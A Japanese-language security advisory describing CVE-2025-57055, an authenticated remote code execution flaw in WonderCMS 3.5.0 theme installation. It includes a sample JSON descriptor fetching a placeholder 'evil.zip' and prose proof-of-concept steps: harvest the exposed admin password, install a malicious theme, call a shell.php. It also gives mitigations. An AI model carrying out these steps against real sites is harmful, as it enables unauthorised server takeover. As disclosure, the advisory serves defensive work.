CVE-2025-57055: WonderCMS 3.5.0 における認証済みリモートコード実行

脆弱性のメカニズム

WonderCMS v3.5.0 には、認証済みリモートコード実行 (RCE) の脆弱性が存在します。

この問題は、アプリケーションが JSON 記述子を介した リモートテーマ/モジュールのインストール を処理する方法に起因します。管理者が ZIP アーカイブを参照するリモート JSON ファイルを送信すると、その内容が Web アクセス可能なディレクトリ (例: /themes/) に展開されます。ZIP に PHP ファイルが含まれている場合、そのファイルは Web 経由でアクセス可能になり、実行される可能性があります。

この動作により、以下の理由から RCE のリスクが生じます:

ZIP の内容に対する検証やサニタイゼーションの欠如。
リモートソースから抽出されるファイルタイプに対する制限の欠如。
テーマ/プラグインディレクトリへの Web アクセス可能性。

注: 管理者認証が必要ですが、デフォルトのインストールでは管理者パスワードが (ホームページ上で) 公開され、パスワードのみのログインが使用され、強力な認証制御は適用されません。

リモートモジュール/テーマ記述子の受理条件

WonderCMS は、送信された JSON 記述子が期待される wcms-modules.json 形式と一致する場合、リモートモジュール/テーマを受理してインストールを試みます。形式チェックに合格した (ZIP アーカイブを指す) 記述子は取得され、そのアーカイブの内容は、ファイルタイプのさらなる検証なしに、Web アクセス可能なディレクトリ (例: /themes/<名前>/) に展開されます。

記述子の例 :

{
  "themes": {
    "SSRF": {
      "name": "FAKE",
      "repo": "https://example.com/",
      "zip": "https://example.com/evil.zip",
      "summary": "test",
      "version": "1.0.0",
      "image": "https://example.com/fake.png"
    }
  }
}

概念実証 (PoC)

警告: 本番環境では実行しないでください。許可されたテスト環境でのみ使用してください。

デフォルトの WonderCMS インストールの公開ホームページから管理者パスワードを取得します。
管理パネルにログインします。
テーマインストールセクションに移動します。
悪意のある JSON 記述子の URL を入力します (例: 攻撃者が管理するサーバーでホストされているもの)。
インストールを開始します。サーバーは以下を実行します:

記述子を取得します。
指定された ZIP アーカイブをダウンロードします。

ダウンロードした悪意のあるテーマをインストールします。
抽出された PHP シェル (例: http://target.com/themes/<Theme_Name>/shell.php) にアクセスして、任意のコマンドを実行します。

(注: これらの手順は管理されたテスト環境でのみ実行してください。許可なく稼働中のシステムでこの脆弱性を悪用することは違法です。)

ベンダーの対応

脆弱性は 2025 年 7 月に WonderCMS メンテナーに報告されました。
メンテナーは報告を確認しましたが、管理者にとってはこの動作は許容範囲であるという見解を示しました。

緩和ガイダンス

露出を低減するには:

リモートインストール機能を 信頼できるソース (例: GitHub のみ) に 制限する。
ZIP の内容を検証およびサニタイズする 展開前に。
認証を強化する:
- インストール後は管理者パスワードを非表示にする。
- ユーザー名/パスワードログインを強制する。
- 多要素認証を有効にする (利用可能な場合)。
サーバー設定により、themes/ または plugins/ 内の実行可能ファイルへのアクセスを防ぐ。

参考文献

免責事項

この情報は、防御的なセキュリティ研究および教育目的で提供されています。脆弱性をテストまたは開示する前に、必ず適切な許可を取得してください。

CVE-2025-57055

人気